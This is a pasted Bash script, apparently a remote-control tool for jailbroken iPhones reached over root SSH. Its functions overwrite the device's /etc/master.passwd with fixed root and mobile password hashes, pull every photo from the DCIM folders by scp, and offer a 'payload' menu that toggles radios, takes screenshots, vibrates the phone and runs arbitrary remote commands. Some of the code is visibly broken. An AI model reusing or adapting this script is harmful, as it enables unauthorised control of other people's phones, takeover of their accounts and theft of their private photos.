Advertisement
Guest User

Untitled

a guest
Nov 7th, 2016
101
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 4.57 KB | None | 0 0
  1. # Regular Colors
  2. Colour_Off='\033[0m'
  3. Black='\033[0;30m'        # Black
  4. Red='\033[0;31m'          # Red
  5. Green='\033[0;32m'        # Green
  6. Yellow='\033[0;33m'       # Yellow
  7. Blue='\033[0;34m'         # Blue
  8. Purple='\033[0;35m'       # Purple
  9. Cyan='\033[0;36m'         # Cyan
  10. White='\033[0;37m'    
  11.  
  12. function reset {
  13. read -p 'Ip: ' IP
  14. read -p 'Port: ' PORT
  15. read -p 'Pass: ' PASS
  16. ssh -p $PORT root@$IP '
  17. cd /etc/
  18. sleep 2
  19. echo '
  20. ##
  21. # User Database
  22. #
  23. # This file is the authoritative user database.
  24. ##
  25. nobody:*:-2:-2::0:0:Unprivileged User:/var/empty:/usr/bin/false
  26. root:MVm5JiEZh7dOI:0:0::0:0:System Administrator:/var/root:/bin/sh
  27. mobile:/smx7MYTQIi2M:501:501::0:0:Mobile User:/var/mobile:/bin/sh
  28. daemon:*:1:1::0:0:System Services:/var/root:/usr/bin/false
  29. _ftp:*:98:-2::0:0:FTP Daemon:/var/empty:/usr/bin/false
  30. _networkd:*:24:24::0:0:Network Services:/var/networkd:/usr/bin/false
  31. _wireless:*:25:25::0:0:Wireless Services:/var/wireless:/usr/bin/false
  32. _neagent:*:34:34::0:0:NEAgent:/var/empty:/usr/bin/false
  33. _securityd:*:64:64::0:0:securityd:/var/empty:/usr/bin/false
  34. _mdnsresponder:*:65:65::0:0:mDNSResponder:/var/empty:/usr/bin/false
  35. _sshd:*:75:75::0:0:sshd Privilege separation:/var/empty:/usr/bin/false
  36. _unknown:*:99:99::0:0:Unknown User:/var/empty:/usr/bin/false
  37. _distnote:*:241:241::0:0:Distributed Notifications:/var/empty:/usr/bin/false
  38. _astris:*:245:245::0:0:Astris Services:/var/db/astris:/usr/bin/false
  39. _ondemand:*:249:249::0:0:On Demand Resource Daemon:/var/db/ondemand:/usr/bin/false
  40. ' >master.passwd
  41. '
  42. }
  43.  
  44.  
  45. function downloads {
  46. echo "Download Photos? yes/no?"
  47. read -p 'Download Photos?: ' photod
  48.  
  49. if [ "$photod" == "yes" ]
  50. then
  51. cd /var/mobile/
  52. read -p 'Name:' name
  53. mkdir /var/mobile/userdownloads/$name
  54. read -p 'Ip: ' IP
  55. read -p 'Port: ' PORT
  56. read -p 'Pass: ' PASS
  57. scp root@$IP:/var/mobile/Media/DCIM/100APPLE/*.JPG /var/mobile/userdownloads/$name
  58. scp root@$IP:/var/mobile/Media/DCIM/101APPLE/*.JPG /var/mobile/userdownloads/$name
  59. scp root@$IP:/var/mobile/Media/DCIM/102APPLE/*.JPG /var/mobile/userdownloads/$name
  60. scp root@$IP:/var/mobile/Media/DCIM/103APPLE/*.JPG /var/mobile/userdownloads/$name
  61. else
  62. echo "Error"
  63. fi
  64. }
  65.  
  66. function login
  67. {
  68. read -p 'Ip: ' IP
  69. read -p 'Port: ' PORT
  70. read -p 'Pass: ' PASS
  71. ssh -p $PORT root@$IP
  72. }
  73.  
  74.  
  75. function payload {
  76. read -p 'Ip: ' IP
  77. read -p 'Port: ' PORT
  78. read -p 'Pass: ' PASS
  79. ssh $PASS -p $PORT root@$IP '
  80. echo -e "$Green List Of commands"
  81.  
  82. echo "Type Chosen Number"
  83. echo "Wif ... Toggles Wifi"
  84. echo "Blu ... Toggles BlueTooth"
  85. echo "Vib ... Vibrates"
  86. echo "Pow ... Shuts-down Screen"
  87. echo "Ala ... Starts Alarm"
  88. echo "App ... Opens Selected App"
  89. echo "Vol ... Increase/Decreases Volume"
  90. echo "Pla ... Plays Selected Ringtone"
  91. echo "Scr ... Takes A Screen Shot"
  92. echo "Hom ... HomeButton Press"
  93. echo "Reb ... Reboots Device"
  94. echo "Bri ... Changes Brightness"
  95. echo "Dnd ... Do Not Disturb"
  96. echo "Cam ... Takes Picture"
  97. echo "Dow ... DownLoads File"
  98. echo "Com ... Send Command"
  99.  
  100. function WifOn {
  101. activator send switch-on.com.a3tweaks.switch.airplane-more
  102. choice
  103. }
  104. function WifOff {
  105. activator send switch-off.com.a3tweaks.switch.airplane-more
  106. choice
  107. }
  108. function Blu {
  109. activator send switch-on.com.a3tweaks.switch.bluetooth
  110. choice
  111. }
  112. function BluOff {
  113. activator send switch-off.com.a3tweaks.switch.bluetooth
  114. choice
  115. }
  116. function Vib {
  117. activator send libactivator.setting.vibrate
  118. choice
  119. }
  120.  
  121. function Pow {
  122. activator send libactivator.lockscreen.toggle
  123. choice
  124. }
  125. function Ala {
  126. activator send libactivator.ringtone.system:Duck
  127. choice
  128. }
  129. function App {
  130. activator send libactivator.settings.safari
  131. choice
  132. }
  133. function Scr {
  134. activator send libactivator.system.take-screenshot
  135. choice
  136. }
  137. function Com {
  138. echo "Enter Command"
  139. read -p 'Command: ' com
  140. ssh -p 22 root@$IP ' $com '
  141. choice
  142. }
  143. function Bri {
  144. activator send libactivator.screen.brightness.increase
  145. choice
  146. }
  147. function BriD {
  148. activator send libactivator.screen.brightness.decrease
  149. choice
  150. }
  151. function Hom {
  152. activator send libactivator.system.homebutton
  153. choice
  154. }
  155. function Vol {
  156. activator send libactivator.audio.increase-volume
  157. choice
  158. }
  159. function VolD {
  160. activator send libactivator.audio.decrease-volume
  161. choice()
  162. }
  163.  
  164.  
  165. read -p 'Choice: ' choice
  166. $choice
  167. '
  168. }  
  169.  
  170. function choice {
  171.  
  172. echo "login. Start Connection"
  173. echo "payload. Run Commands"
  174. echo "downloads. Download Files"
  175. echo "reset. Reset Password"
  176.  
  177.  
  178. read -p 'Choice: ' choice
  179. $choice
  180. }
  181.  
  182. #if [ "$choice" == "a" ]
  183.  
  184. echo "login. Start Connection"
  185. echo "payload. Run Commands"
  186. echo "downloads. Download Files"
  187. echo "reset. Reset Password"
  188.  
  189.  
  190. read -p 'Choice: ' choice
  191. $choice
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement